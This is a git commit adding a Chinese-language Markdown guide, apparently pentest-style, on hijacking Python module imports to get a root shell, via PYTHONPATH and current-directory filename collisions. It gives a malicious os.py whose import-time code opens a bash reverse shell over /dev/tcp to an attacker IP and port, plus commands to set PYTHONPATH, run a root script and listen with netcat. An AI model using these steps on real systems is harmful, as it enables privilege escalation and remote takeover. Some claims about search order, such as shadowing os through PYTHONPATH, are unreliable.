Add files via upload
This commit is contained in:
@@ -0,0 +1,87 @@
|
||||
### 如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell
|
||||
|
||||
**一、利用 `PYTHONPATH` 环境变量劫持**
|
||||
|
||||
**`PYTHONPATH`** 环境变量是 Python 解释器在寻找导入模块时,除了系统默认路径(如标准库路径和当前目录)外,会优先搜索的路径列表。如果目标脚本以 **`root`** 权限运行,并且我们能够控制 `PYTHONPATH` 的值或目标环境,就可以实现劫持
|
||||
|
||||
**原理**
|
||||
|
||||
1. **目标:** 找到一个目标脚本(以 Root 权限运行)会导入的**标准库模块**或**第三方库模块**。假设目标脚本中有一行代码是 `import os`
|
||||
2. **创建恶意模块:** 我们在可控目录下创建一个与目标导入模块同名的文件,例如 `os.py`
|
||||
3. **设置 `PYTHONPATH`:** 将我们存放恶意 `os.py` 文件的目录路径设置为 `PYTHONPATH` 的值
|
||||
4. **执行流程:** 当 Root 脚本启动时,Python 解释器会**优先**在 `PYTHONPATH` 指向的目录中搜索 `os.py`。它会找到我们的恶意文件,并执行其中的代码,而不是系统标准的 `os` 库
|
||||
|
||||
**攻击步骤(获取 Root Shell)**
|
||||
|
||||
假设目标 Root 脚本名为 `target_root_script.py`,且它导入了 `os` 模块
|
||||
|
||||
1. **创建恶意载荷 (Payload):** 在我们的可写入目录(例如 `/home/user/malicious_path/`)下创建 `os.py` 文件
|
||||
|
||||
```python
|
||||
# /home/user/malicious_path/os.py
|
||||
import subprocess
|
||||
import socket
|
||||
|
||||
# 这段代码将在模块被导入时立即执行
|
||||
def trigger():
|
||||
# 反弹 Root Shell
|
||||
# 注意:这里使用 bash 和 /dev/tcp 是 Linux 特有技巧
|
||||
# 实际操作中,可以使用 Python 的 socket 库实现更隐蔽的反弹
|
||||
LHOST = '你的攻击机IP'
|
||||
LPORT = '你的监听端口'
|
||||
subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True)
|
||||
|
||||
# 确保在模块加载时触发
|
||||
trigger()
|
||||
|
||||
# 为了不让目标程序崩溃,我们可能需要在这里导入和暴露真正的 os 模块
|
||||
# 但简单起见,可以先尝试让程序崩溃,如果能获得 Shell 就不必关心
|
||||
# 复杂劫持:from real_os_module import *
|
||||
```
|
||||
|
||||
2. **设置环境变量并执行:** 在 Shell 中设置 `PYTHONPATH`,然后运行目标脚本
|
||||
|
||||
```bash
|
||||
# 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT)
|
||||
|
||||
export PYTHONPATH="/home/user/malicious_path/"
|
||||
/usr/bin/python3 /path/to/target_root_script.py
|
||||
# 此时,target_root_script.py 导入 os 模块时,将执行我们的反弹 Shell 代码
|
||||
```
|
||||
|
||||
****
|
||||
|
||||
**二、利用标准库的优先级加载机制(文件名冲突)**
|
||||
|
||||
如果没有 `PYTHONPATH` 的控制权,我们还可以利用 Python 的**默认搜索顺序**来实现劫持。
|
||||
|
||||
**原理**
|
||||
|
||||
Python 的模块搜索顺序通常是:
|
||||
|
||||
1. **当前目录或程序所在目录(优先级最高)**
|
||||
2. `PYTHONPATH` 中的目录
|
||||
3. 标准库目录和第三方包目录
|
||||
|
||||
如果我们将恶意模块放置在**目标 Root 脚本所在的目录**下,或者放置在**用户当前工作目录**下,并以与目标脚本导入的模块相同的名称命名,它将优先于系统标准库被加载
|
||||
|
||||
**攻击策略**
|
||||
|
||||
这种策略需要我们对目标脚本所在的目录有写入权限,或者能控制脚本执行时的**当前工作目录 (CWD)**
|
||||
|
||||
1. **目标:** 目标 Root 脚本(`/opt/app/root_tool.py`)导入了 `config` 模块(一个自定义模块),或者导入了一个常见且不复杂的标准库模块,如 `logging` 或 `tempfile`
|
||||
|
||||
2. **当前目录劫持:** 如果目标脚本执行时,我们能控制其 CWD:
|
||||
|
||||
- **创建恶意载荷:** 在我们控制的 CWD 下创建一个名为 `logging.py` 的恶意文件
|
||||
- **执行:** 当 Root 脚本被执行时,如果它导入了 `import logging`,它将加载 CWD 下的 `logging.py`
|
||||
|
||||
```bash
|
||||
# 攻击机已监听 LPORT
|
||||
|
||||
# 切换到我们的可控目录(假设我们在这里创建了恶意的 logging.py)
|
||||
cd /home/user/malicious_cwd/
|
||||
|
||||
# 执行 Root 脚本,使其在我们的目录下启动
|
||||
/usr/bin/python3 /opt/app/root_tool.py
|
||||
```
|
||||
Reference in New Issue
Block a user